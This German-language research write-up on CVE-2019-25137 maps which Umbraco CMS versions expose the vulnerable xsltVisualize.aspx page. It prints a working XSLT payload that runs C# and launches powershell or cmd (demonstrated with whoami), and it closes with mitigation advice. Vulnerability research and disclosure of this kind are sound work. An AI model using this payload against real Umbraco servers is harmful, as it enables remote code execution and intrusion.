
Ein Write-up zur Untersuchung des vollen Ausmaßes von CVE-2019-25137.
CVE-2019-25137 ist eine XSLT-Injection-Schwachstelle in Umbraco CMS. Die Schwachstelle befindet sich in der XSLT-Visualizer-Webseite. Die verwundbare URI für diese Webseite ist /umbraco/developer/Xslt/xsltVisualize.aspx.
Eine erfolgreiche Ausnutzung des XSLT-Visualizers kann zur Ausführung von C#-Code auf dem Zielsystem führen. Für die Ausnutzung der Schwachstelle benötigt ein Benutzer legitime Administrator-Anmeldedaten für das Umbraco CMS.
Der Proof of Concept für CVE-2019-25137 verwendet das msxsl:script-Element. Dieses Element ermöglicht die Verwendung zusätzlicher Programmiersprachen in XSLT-Transformationen, wie z. B. C#.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "<additional arguments>"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "<Can be powershell or cmd>"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>
Das XSLT-Payload versucht, den folgenden C#-Code auszuführen.
string cmd = "<additional arguments>";
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName = "<Can be powershell or cmd>";
proc.StartInfo.Arguments = cmd;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
string output = proc.StandardOutput.ReadToEnd();
return output;
Der C#-Code wird in die folgenden Anweisungen unterteilt – alle Definitionen sind auf der Microsoft-Website dokumentiert.
Da Umbraco ein Open-Source-CMS ist, habe ich verschiedene Installationsversionen von ihrer Website bezogen, um festzustellen, welche Versionen, sowohl alte als auch neue, möglicherweise noch xsltVisualize.aspx enthalten.

Die Analyse zeigt, dass die Datei xsltVisualize.aspx in den Umbraco-CMS-Versionen 4.11.8 bis 7.15.10 vorhanden ist. Diese Datei und der gesamte Development-Ordner sind ab Version 8.0.0 nicht mehr vorhanden.

Um zu zeigen, dass auch die früheste Version von CVE-2019-25137 betroffen ist, habe ich eine Testinstanz von Umbraco 4.11.8 eingerichtet.

Ein Vergleich der xsltVisualize.aspx von Umbraco CMS 4.11.8 mit der von Umbraco CMS Version 7.12.4 zeigt, dass es zwar eine geringe Anzahl von Unterschieden gibt, die Funktionalität der Webseiten jedoch gleich ist.

Um den Exploit zu testen, muss der Benutzer das Payload im Feld xsltSelection übermitteln.

Mit dem zuvor bereitgestellten Payload konnte ich eine entfernte Codeausführung erreichen, was darauf hindeutet, dass auch diese Version verwundbar ist. Das Bild unten zeigt die Ausführung von whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Um zu zeigen, dass auch die neueste Version von Umbraco mit xsltVisualize.aspx verwundbar ist, habe ich eine Testinstanz von Umbraco 7.15.10 eingerichtet.

Ein Vergleich der xsltVisualize.aspx von Umbraco CMS 7.15.10 mit der von Umbraco CMS Version 7.12.4 zeigt, dass sie identisch sind.

Das Navigieren zur URI /umbraco/developer/Xslt/xsltVisualize.aspx zeigt, dass die Datei tatsächlich vorhanden ist.

Mit demselben Payload wie zuvor konnte ich erneut eine entfernte Codeausführung erreichen, was darauf hindeutet, dass auch diese Version verwundbar ist. Das Bild unten zeigt die Ausführung von whoami.
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">public string xml() { string cmd = "whoami"; System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.StartInfo.FileName = "powershell"; proc.StartInfo.Arguments = cmd; proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output; } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/>
</xsl:template>
</xsl:stylesheet>

Diese Beispiele zeigen, dass CVE-2019-25137 in Umbraco-Versionen vorhanden ist, die von 7.12.4 abweichen. Alle Versionen zwischen 4.11.8 und 7.15.10 enthalten die verwundbare Webseite und sollten daher in das CVE-Update aufgenommen werden. CVE-2019-25137 kann durch das Entfernen des Zugriffs auf die Datei xsltVisualize.aspx oder durch ein Update auf die neueste Version von Umbraco entschärft werden.
Original CVE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-25137
Umbraco Veröffentlichungsdatum – https://our.umbraco.com/download/releases/774
Umbraco Versionen – https://our.umbraco.com/download/releases
XSLT Definition – https://en.wikipedia.org/wiki/XSLT
Verwendetes Payload – https://github.com/noraj/Umbraco-RCE
| Funktion | Übersicht |
|---|
| System.Diagnostics.Process proc | Ermöglicht den Zugriff auf lokale und entfernte Prozesse und erlaubt dem Benutzer, lokale Systemprozesse zu starten und zu stoppen; dieser wird "proc" genannt. |
| proc.StartInfo.FileName | Definiert den Namen der Anwendung, die der Benutzer starten möchte (powershell oder cmd). |
| proc.StartInfo.Arguments | Definiert zusätzliche Variablen, die von FileName benötigt werden könnten. |
| proc.StartInfo.UseShellExecute | Ein Wert, der angibt, ob die Betriebssystem-Shell zum Starten des Prozesses verwendet werden soll; dies ist auf false gesetzt, da entweder powershell oder cmd verwendet wird. |
| proc.StartInfo.RedirectStandardOutput | Ein Wert, der angibt, ob die Ausgabe einer Anwendung in den StandardOutput-Stream geschrieben wird; dies ist auf true gesetzt. |
| proc.Start() | Startet die "proc"-Prozessressource und ordnet sie einer Process-Komponente zu. |
| string output = proc.StandardOutput.ReadToEnd() | Führt synchrone Lesevorgänge auf "proc" durch und leitet sie an die Variable "output" weiter. |